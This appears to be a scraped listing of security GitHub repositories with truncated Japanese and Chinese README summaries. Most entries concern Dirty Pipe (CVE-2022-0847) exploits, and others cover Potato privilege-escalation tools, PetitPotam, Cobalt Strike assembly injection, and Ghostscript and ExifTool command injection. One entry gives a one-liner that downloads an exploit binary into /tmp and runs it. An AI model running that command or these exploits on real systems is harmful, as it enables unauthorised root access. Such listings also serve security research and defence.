inject-assembly

inject-assembly - 既存プロセス内で.NETを実行 このツールは、Cobalt Strikeの従来のfork and run実行に代わるものです。ローダーは、現在のBeaconを含む任意のプロセスに注入できます。長時間実行されるアセンブリは、実行を継続し、execute-assemblyと同様の動作で出力をBeaconに送り返します。 inject-assemblyには2つのコンポーネントがあります： 1. BOF initializer :...

inject-assembly

inject-assembly - Execute .NET in an Existing Process This tool is an alternative to traditional fork and run execution for Cobalt Strike. The loader can be injected into any process, including the current Beacon. Long-running assemblies will continue to run and send output back to the Beacon,...

CVE-2022-0847-DirtyPipe-Exploit

これは何ですか これはMax Kellermann氏によるDirty Pipeの概念実証ですが、ルートシェルを取得した後に/etc/passwd内のrootのパスワードフィールドを上書きし、復元するように修正されています。 補足: この脆弱性の発見や概念実証の作成について、私は一切の功績を主張しません。このエクスプロイトは、迅速かつ簡単に悪用できるようにKellermann氏の概念実証を少し修正したものに過ぎません。機会があれば、この非常に興味深い脆弱性に関する元の記事（https://dirtypipe.cm4all.com/）をぜひお読みください。理解する価値が十分にあります。 使用...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 エクスプロイト実装 これは、CVE-2022-0847「Dirty Pipe Exploit」を使用して、外部マシン上で任意のコード実行を行うためのリバースBashシェルを起動する方法を示すPOCです。 この脆弱性はLinuxカーネルバージョン5.8以降にのみ影響しますが、バージョン5.16.11、5.15.25、5.10.102以降で修正されました。カーネルを更新してください : このエクスプロイトはセキュリティ研究者のMax...

CVE-2022-0847-Linux

CVE-2022-0847 説明 - CVE-2022-0847 の POC: Linux カーネルローカル権限昇格脆弱性。 - antx により 2022-03-08 に作成。 詳細 - セキュリティ研究者の Max Kellermann 氏は 'Dirty Pipe' 脆弱性を責任を持って開示し、Linux カーネル 5.8 以降のバージョン（Android デバイスを含む）に影響を与えると述べています。 - Linux カーネル 5.8...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 これは、任意の読み取り専用ファイル内のデータを上書きできるようにするカーネル脆弱性です。そのため、非特権プロセスが特権プロセスに書き込むことができるため、権限昇格につながる可能性があります。脆弱性を発見し、その優れた説明・解説を提供した 🥇Max Kellermann にすべての功績を帰属します。 👻 重要なお知らせ この概念実証コードは Max Kellermann's の PoC...

pipe-intercept

pipe-intercept 使用 Burp 或类似的 HTTP 代理工具拦截 Windows 命名管道通信 命名管道（Named Pipes）在 Windows 上广泛用于进程间通信。它们被许多应用程序使用，包括 Windows 远程过程调用（RPC）。此工具旨在让安全研究人员和渗透测试人员能够对使用命名管道的应用程序进行安全评估。 本项目灵感来源于 CyberArk Labs 出色的 MITMIntercept 项目。 它是如何工作的？ 该工具创建了一个管道客户端/服务器代理，并附带 WebSocket 客户端/服务器桥接。WebSocket 客户端通过 HTTP 代理（如...

PetitPotam

PetitPotam WindowsホストにMS-EFSRPCのEfsRpcOpenFileRawなどの機能を介して他のマシンへの認証を強制するPoCツール : このツールは、より普及しているため、インタフェースc681d488-d850-11d0-8c52-00c04fd90f7eを持つLSARPC名前付きパイプを使用します。ただし、EFSRPC名前付きパイプとインタフェースdf1941c5-fe89-4e79-bf10-463657acf44dを使用してトリガーすることも可能です。ドメインコントローラに対して資格情報は必要ありません :D...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript コマンドインジェクション脆弱性 PoC CVE-2023-36664 バージョン 10.01.2 より前の Ghostscript で公開された脆弱性により、コード実行が可能になります CVSS スコア 9.8。 公式の脆弱性の説明: Artifex Ghostscript 10.01.2 までは、パイプデバイス %pipe% プレフィックスまたは | パイプ文字プレフィックス の権限検証を誤って処理します。 Debian は、任意のコマンド実行の可能性に言及したセキュリティ勧告を公開しました: 「GPL PostScript/PDF インタープリターである...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ 説明 このエクスプロイトは、CVE-2022-0847 脆弱性を利用して読み取り専用ファイルを上書きしようとします。 make exploit を実行すると、以下の処理が行われます： 1. readonlyfile.txt を作成する 2. dirtypipe エクスプロイトを実行する。 3. dirtypipe エクスプロイトが成功したか確認する。 システムが脆弱かどうかは、make exploit の出力で判断できます： foo@bar:$ make...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits ペネトレーションテスターやレッドチーム向けのエクスプロイトとドキュメントのコレクションで、Linux Dirty Pipe脆弱性の悪用を支援するために使用できます。 脆弱性について Dirty Pipe CVE-2022-0847 はLinuxカーネルのローカル権限昇格脆弱性であり、権限のないユーザーが以下のことを行える可能性があります： /etc/passwd などの任意の読み取り専用ファイルの変更/上書き。 昇格したシェルの取得。 影響を受けるバージョン Linuxカーネルバージョン5.8以降が影響を受けます。...

Dirty-Pipe

Dirty Pipe エクスプロイト CVE-2022-0847 概要 このリポジトリには、Linux カーネルバージョン 5.8 から 5.16 に影響を与える Dirty Pipe 脆弱性 CVE-2022-0847 に対する Proof of Concept PoC エクスプロイトが含まれています。この脆弱性は、カーネル内のパイプバッファの不適切な処理を悪用して ローカル特権昇格 を可能にし、攻撃者が読み取り専用ファイル（SUID バイナリなど）を変更し、昇格した権限で任意のコードを実行することを可能にします。 説明 Dirty Pipe 脆弱性は、Linux カーネルバージョン...

debian11-dirty_pipe-patcher

debian11-dirtypipe-patcher このプロジェクトはまだ開発中です Debian 11 は依然としてカーネルバージョン 5.10 を搭載しており、Dirty Pipe 脆弱性の影響を受けます。このスクリプトは、脆弱性のないカーネルバージョン 5.18 を手動でコンパイルしてインストールするために作成されました。 使い方 1. リポジトリをクローンする 2. bash スクリプトを sudo 権限で実行する 3. システムを再起動する メモ 最初の make config では設定を行わないでください oldconfig で暗号鍵の場所をクリアしてください make...

CVE-2022-25636-PipeVersion

CVE-2022-25636 pipe バージョン pipe-primitive を使用して CVE-2022-25636 を悪用するため、kaslr リークも smap smep ktpi バイパスも必要ありません : Q: pipe-primitive とは? A: https://github.com/veritas501/pipe-primitive...

Dirty-Pipe

ワンラインエクスプロイト CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CrystalPotato

CrystalPotato GodPotato 的 Crystal 移植版本，一种通过滥用 DCOM OXID Resolver 和命名管道模拟，从具有 SeImpersonatePrivilege 权限的账户本地提权至 SYSTEM 的工具。 Windows API 在运行时动态解析，并通过间接系统调用存根调用；所有字符串在编译时进行 XOR 混淆，默认情况下仅打印命令输出。已在 Windows 10、11 和 Server 2025 上测试。 构建 CrystalPotato 使用 Windows 上的 Crystal 编译为单个无依赖文件： crystal build...

MultiPotato

MultiPotato まず初めに、@splintercode 氏と @decoderit 氏に感謝します。RoguePotato を基にしています。このコードはそれに大きく依存しています。 これは SeImpersonate 権限を使用して SYSTEM を取得するための、また別の Potato です。しかし、以下の点で異なります。 悪用のための SYSTEM 認証トリガーは含まれていません。代わりに、お好みのトリガーを自分で統合できるようにコードを使用できます。 新しいプロセスを生成するために CreateProcessWithTokenW...

CVE-2022-23935

CVE-2022-23935 Exiftoolソフトウェアは、12.38より前のバージョンにおいて、特別に細工されたファイル名を通じて悪用される可能性のあるセキュリティ脆弱性を抱えています。 この脆弱性によりコマンドインジェクションが可能になり、攻撃者はファイル名の末尾にパイプ文字「'|'」を追加することで、システム上で任意のコマンドを実行できます。これにより、ファイルは通常のファイルとしてではなく、実行されるコマンドとして扱われます。 その結果、この命名規則を持つシステム上のファイルはすべて、悪意のあるコードの実行に利用される可能性があります。...

Dirty-Pipe

CVE-2022-0847Dirty Pipe エクスプロイト 影響範囲 =5.8, 5.16.11, 5.15.25 and 5.10.102 exp.c この脆弱性を利用して、読み取り専用ファイルを上書きする exp-root-shell.c /bin/shを実行するshellcodeを生成し、suidが設定されていて所有者がrootのプログラムを上書きします。passwdを例とすると、上書きされたプログラムを実行すればshellを取得でき、権限昇格を実現できます。...

CVE-2022-0847-eBPF

CVE-2022-0847-eBPF CVE-2022-0847 に対する攻撃を検出・防御する eBPF プログラム。 カーネル空間では、splice システムコールを検出し、そのシステムコールの出力 fd がパイプであり、パイプバッファのフラグが PIPEBUFFLAGCANMERGE に設定されている場合、イベントが送信されます。ユーザー空間では、splice を呼び出したプロセスを強制終了し、/proc/sys/vm/dropcaches を上書きしてページキャッシュをクリアします。 Ubuntu Server 20.10 カーネル 5.8.0-25 でテスト済み。 ビルド cla...